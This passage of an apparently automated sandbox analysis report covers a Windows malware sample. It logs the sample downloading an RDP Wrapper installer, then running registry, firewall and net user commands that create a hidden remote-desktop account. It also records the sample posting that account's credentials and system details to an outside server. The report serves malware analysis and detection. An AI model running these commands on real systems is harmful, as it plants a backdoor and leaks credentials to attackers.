Oct 11, 2024 23:07:45.003417969 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 11, 2024 23:07:45.060488939 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 11, 2024 23:07:45.060751915 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 11, 2024 23:07:45.060765028 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 11, 2024 23:07:45.516453028 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 11, 2024 23:07:45.516632080 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 11, 2024 23:07:45.517720938 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 11, 2024 23:07:45.517739058 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 11, 2024 23:07:45.517791033 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 11, 2024 23:07:45.517811060 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 11, 2024 23:07:45.537834883 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:45.538167953 CEST	49738	80	192.168.2.4	172.67.74.152

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 11, 2024 23:07:43.615557909 CEST	51549	53	192.168.2.4	1.1.1.1
Oct 11, 2024 23:07:43.627274990 CEST	53	51549	1.1.1.1	192.168.2.4
Oct 11, 2024 23:07:44.284523964 CEST	55563	53	192.168.2.4	1.1.1.1
Oct 11, 2024 23:07:44.314673901 CEST	53	55563	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 11, 2024 23:07:43.615557909 CEST	192.168.2.4	1.1.1.1	0xb9f8	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Oct 11, 2024 23:07:44.284523964 CEST	192.168.2.4	1.1.1.1	0x635d	Standard query (0)	hansgborn.eu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 11, 2024 23:07:43.627274990 CEST	1.1.1.1	192.168.2.4	0xb9f8	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Oct 11, 2024 23:07:43.627274990 CEST	1.1.1.1	192.168.2.4	0xb9f8	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Oct 11, 2024 23:07:43.627274990 CEST	1.1.1.1	192.168.2.4	0xb9f8	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Oct 11, 2024 23:07:44.314673901 CEST	1.1.1.1	192.168.2.4	0x635d	No error (0)	hansgborn.eu	188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 11, 2024 23:07:44.314673901 CEST	1.1.1.1	192.168.2.4	0x635d	No error (0)	hansgborn.eu	188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

hansgborn.eu

147.45.44.104

api.ipify.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	147.45.44.104	80	7480	C:\Users\user\Desktop\67065b4c84713_Javiles.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 23:07:01.032289982 CEST	94	OUT	GET /prog/66f55533ca7d6_RDPWInst.exe HTTP/1.1 Host: 147.45.44.104 Connection: Keep-Alive
Oct 11, 2024 23:07:01.722157955 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 11 Oct 2024 21:07:01 GMT Content-Type: application/octet-stream Content-Length: 1785344 Last-Modified: Thu, 26 Sep 2024 12:36:03 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66f55533-1b3e00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 23 d6 43 5a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 34 04 00 00 06 17 00 00 00 00 00 3c 37 04 00 00 10 00 00 00 50 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL#CZ4<7P@@`{^.text `.itext\|0 `.dataxP8@.bssOpL.idataL@.tls`.rdata`@@.reloc^`b@B.rsrc{`\|@@p@@
Oct 11, 2024 23:07:01.722183943 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @Boolean@FalseTrueSystem4@AnsiChar@P@Char@h@ShortInt
Oct 11, 2024 23:07:01.722198009 CEST	1236	IN	Data Raw: 8d 40 00 84 10 40 00 01 08 53 6d 61 6c 6c 49 6e 74 02 00 80 ff ff ff 7f 00 00 02 00 8d 40 00 a0 10 40 00 01 07 49 6e 74 65 67 65 72 04 00 00 00 80 ff ff ff 7f 02 00 b8 10 40 00 01 04 42 79 74 65 01 00 00 00 00 ff 00 00 00 02 00 8d 40 00 d0 10 40 Data Ascii: @@SmallInt@@Integer@Byte@@Word@@Pointer@Cardinal@@Int64@8@UInt64X@Singleh@Extend
Oct 11, 2024 23:07:01.722212076 CEST	1236	IN	Data Raw: 1b 40 00 4a 00 fe ff a6 1b 40 00 4d 00 ff ff 07 54 4f 62 6a 65 63 74 26 00 5c 51 40 00 06 43 72 65 61 74 65 03 00 00 00 00 00 08 00 01 08 d0 1b 40 00 00 00 04 53 65 6c 66 02 00 02 00 24 00 8c 51 40 00 04 46 72 65 65 03 00 00 00 00 00 08 00 01 08 Data Ascii: @J@MTObject&\Q@Create@Self$Q@Free@Self>Q@InitInstance@Self@Instance/Q@CleanupInstance@Self)\P@ClassTypeX@@Self
Oct 11, 2024 23:07:01.722227097 CEST	1236	IN	Data Raw: 43 61 6c 6c 45 78 63 65 70 74 69 6f 6e 03 00 6c 12 40 00 08 00 03 08 d0 1b 40 00 00 00 04 53 65 6c 66 02 00 08 d0 1b 40 00 01 00 0c 45 78 63 65 70 74 4f 62 6a 65 63 74 02 00 00 e4 10 40 00 02 00 0a 45 78 63 65 70 74 41 64 64 72 02 00 02 00 31 00 Data Ascii: CallExceptionl@@Self@ExceptObject@ExceptAddr1PT@AfterConstruction@Self1TT@BeforeDestruction@Self9XT@Dispatch@SelfMessage?LT@D
Oct 11, 2024 23:07:01.722242117 CEST	1236	IN	Data Raw: 67 73 02 00 9c 10 40 00 04 00 00 00 02 0b 45 6c 65 6d 65 6e 74 53 69 7a 65 02 00 9c 10 40 00 08 00 00 00 02 09 4c 6f 63 6b 43 6f 75 6e 74 02 00 e4 10 40 00 0c 00 00 00 02 04 44 61 74 61 02 00 78 1e 40 00 10 00 00 00 02 06 42 6f 75 6e 64 73 02 00 Data Ascii: gs@ElementSize@LockCount@Datax@Bounds@T@TVarData@VType@Reserved1@Reserved2@Reserved3@VSmallInt@VIntegerT@
Oct 11, 2024 23:07:01.722255945 CEST	1236	IN	Data Raw: 25 dc c4 44 00 8b c0 ff 25 d8 c4 44 00 8b c0 ff 25 d4 c4 44 00 8b c0 ff 25 d0 c4 44 00 8b c0 ff 25 cc c4 44 00 8b c0 ff 25 c8 c4 44 00 8b c0 ff 25 c4 c4 44 00 8b c0 ff 25 c0 c4 44 00 8b c0 ff 25 bc c4 44 00 8b c0 ff 25 b8 c4 44 00 8b c0 ff 25 b4 Data Ascii: %D%D%D%D%D%D%D%D%D%D%D%D%D%D%D%D%D%D%D%D%D%D%D%D%D%D%D%\|D%xD%tD%p
Oct 11, 2024 23:07:01.722270966 CEST	1236	IN	Data Raw: d6 b8 fe ff ff ff d3 c0 21 04 95 44 7a 44 00 75 e0 b8 fe ff ff ff 89 d1 d3 c0 21 05 40 7a 44 00 c3 8b c0 81 ea 30 0b 00 00 c1 ea 08 81 ea ff 03 00 00 19 c9 21 ca 81 c2 ff 03 00 00 8d 0c d5 c4 7a 44 00 8b 51 04 39 ca 89 08 89 50 04 89 02 89 41 04 Data Ascii: !DzDu!@zD0!zDQ9PAtzDDzD@zD=<zDu8zD@u%H<zD)JHT0g#P0r8zD#P<zD)S
Oct 11, 2024 23:07:01.722287893 CEST	776	IN	Data Raw: ff eb ac 56 57 80 3d 4d 70 44 00 00 74 39 b8 00 01 00 00 f0 0f b0 25 34 7a 44 00 74 2a f3 90 80 3d d5 78 44 00 00 75 e6 6a 00 e8 04 f8 ff ff b8 00 01 00 00 f0 0f b0 25 34 7a 44 00 74 09 6a 0a e8 ee f7 ff ff eb c7 0f be 73 01 23 35 40 7a 44 00 74 Data Ascii: VW=MpDt9%4zDt*=xDuj%4zDtjs#5@zDtp4DzD<zDwVW:9u!DzDu@zD#~`rl{)7JHTUK=<zD9r&58zDK09r))=<zD58z
Oct 11, 2024 23:07:01.722302914 CEST	1236	IN	Data Raw: 42 14 8b 4a 04 89 48 04 89 41 14 31 c0 39 53 10 75 03 89 43 0c 88 03 89 d0 8b 52 fc 8a 1d 4d 70 44 00 e9 85 00 00 00 b8 00 01 00 00 f0 0f b0 23 74 94 f3 90 80 3d d5 78 44 00 00 75 ea 51 52 6a 00 e8 e5 f4 ff ff 5a 59 b8 00 01 00 00 f0 0f b0 23 0f Data Ascii: BJHA19SuCRMpD#t=xDuQRjZY#oQRjZY%4zDtB=xDuj%4zDt!jVuD3L3u5L3Fu@tPCF\3Y4zD
Oct 11, 2024 23:07:01.727219105 CEST	1236	IN	Data Raw: 0a 04 00 73 12 f7 db d9 ee dd 14 13 83 c3 08 78 f8 89 0a dd c0 d9 f7 5b c3 8b c0 8b c8 8b d1 83 ea 04 8b 12 83 e2 f0 03 d1 8b c2 8b d0 83 ea 04 8b 12 83 e2 f0 85 d2 75 02 33 c0 c3 8d 40 00 83 3d 3c 7a 44 00 00 74 1a 8b 15 38 7a 44 00 3b d0 72 10 Data Ascii: sx[u3@=<zDt8zD;r;8zDs=<zDt8zD3@SV ;BuZ;ZvB+^[BH^[WA_p0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	172.67.74.152	80	7480	C:\Users\user\Desktop\67065b4c84713_Javiles.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 23:07:43.634610891 CEST	63	OUT	GET / HTTP/1.1 Host: api.ipify.org Connection: Keep-Alive
Oct 11, 2024 23:07:44.096548080 CEST	227	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 21:07:44 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8d11d2484d8180d0-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Oct 11, 2024 23:07:44.106416941 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 11, 2024 23:07:44.209269047 CEST	227	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 21:07:44 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8d11d2490e2080d0-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49740	188.114.96.3	443	7480	C:\Users\user\Desktop\67065b4c84713_Javiles.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 21:07:44 UTC	171	OUT	POST /core/receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: hansgborn.eu Content-Length: 190 Expect: 100-continue Connection: Keep-Alive
2024-10-11 21:07:45 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-11 21:07:45 UTC	190	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 75 73 65 72 3d 4a 75 73 74 6f 6e 54 68 6f 6d 70 73 6f 6e 26 70 61 73 73 77 6f 72 64 3d 47 32 79 77 68 34 42 5a 33 30 79 75 26 6f 73 5f 6e 61 6d 65 3d 57 69 6e 64 6f 77 73 2b 31 30 2b 50 72 6f 26 70 72 6f 63 65 73 73 6f 72 3d 49 6e 74 65 6c 28 52 29 2b 43 6f 72 65 28 54 4d 29 32 2b 43 50 55 2b 36 36 30 30 2b 25 34 30 2b 32 2e 34 30 2b 47 48 7a 26 63 6f 72 65 73 3d 34 26 67 70 75 3d 50 42 52 4f 54 50 4f 26 67 70 75 5f 6d 65 6d 6f 72 79 3d 31 30 32 34 26 72 61 6d 3d 34 30 39 35 26 64 69 73 6b 5f 73 70 61 63 65 3d 33 38 33 Data Ascii: ip=8.46.123.33&user=JustonThompson&password=G2ywh4BZ30yu&os_name=Windows+10+Pro&processor=Intel(R)+Core(TM)2+CPU+6600+%40+2.40+GHz&cores=4&gpu=PBROTPO&gpu_memory=1024&ram=4095&disk_space=383
2024-10-11 21:07:45 UTC	635	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 21:07:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B%2BmAcIu%2FoKc5UcFSN1rO34pQ1ML2cMuad6exZpE7%2F%2BIXeCk6tY0LVhGkwQ3SeZkA2vYzP2mH3hgYvwglRfiyfqLgw%2FAOape6fexMoxksxn5XAhCijNDXIBligkqkaww%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d11d24e5cd5437f-EWR alt-svc: h3=":443"; ma=86400 0

Target ID:	0
Start time:	17:06:59
Start date:	11/10/2024
Path:	C:\Users\user\Desktop\67065b4c84713_Javiles.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\67065b4c84713_Javiles.exe"
Imagebase:	0x480000
File size:	940'032 bytes
MD5 hash:	8BE8E5E57FC2A177C12AC52D6F71157C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000000.1703967641.0000000000482000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2171643627.0000000002881000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:07:04
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:07:04
Start date:	11/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:07:04
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f
Imagebase:	0x990000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:07:05
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRemoteDesktop" /t REG_DWORD /d 0 /f
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:07:05
Start date:	11/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:07:05
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRemoteDesktop" /t REG_DWORD /d 0 /f
Imagebase:	0x990000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:07:05
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:07:05
Start date:	11/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:07:05
Start date:	11/10/2024
Path:	C:\Users\user\AppData\Local\Temp\RDPWInst.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i
Imagebase:	0x400000
File size:	1'785'344 bytes
MD5 hash:	C213162C86BB943BCDF91B3DF381D2F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000009.00000000.1765768816.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_RDPWrapTool, Description: Yara detected RDPWrap Tool, Source: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_RDPWrapTool, Description: Yara detected RDPWrap Tool, Source: 00000009.00000000.1765908730.0000000000450000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_RDPWrapTool, Description: Yara detected RDPWrap Tool, Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	17:07:05
Start date:	11/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -s TermService
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	17:07:07
Start date:	11/10/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
Imagebase:	0x7ff6e3b40000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:07:07
Start date:	11/10/2024
Path:	C:\Windows\System32\drivers\rdpvideominiport.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	32'600 bytes
MD5 hash:	77FF15B9237D62A5CBC6C80E5B20A492
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	17:07:08
Start date:	11/10/2024
Path:	C:\Windows\System32\drivers\rdpdr.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	169'984 bytes
MD5 hash:	64991B36F0BD38026F7589572C98E3D6
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	17:07:08
Start date:	11/10/2024
Path:	C:\Windows\System32\drivers\tsusbhub.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	137'728 bytes
MD5 hash:	CC6D4A26254EB72C93AC848ECFCFB4AF
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	17:07:38
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c net user JustonThompson G2ywh4BZ30yu /add
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	17:07:38
Start date:	11/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	17:07:38
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	net user JustonThompson G2ywh4BZ30yu /add
Imagebase:	0x760000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	17:07:38
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 user JustonThompson G2ywh4BZ30yu /add
Imagebase:	0xea0000
File size:	139'776 bytes
MD5 hash:	2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	17:07:38
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c net localgroup
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	17:07:38
Start date:	11/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	17:07:39
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	net localgroup
Imagebase:	0x760000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	17:07:39
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 localgroup
Imagebase:	0xea0000
File size:	139'776 bytes
MD5 hash:	2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	17:07:39
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c net localgroup "Remote Desktop Users" JustonThompson /add
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	17:07:39
Start date:	11/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	17:07:39
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	net localgroup "Remote Desktop Users" JustonThompson /add
Imagebase:	0x760000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	17:07:39
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 localgroup "Remote Desktop Users" JustonThompson /add
Imagebase:	0xea0000
File size:	139'776 bytes
MD5 hash:	2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	17:07:39
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	17:07:39
Start date:	11/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

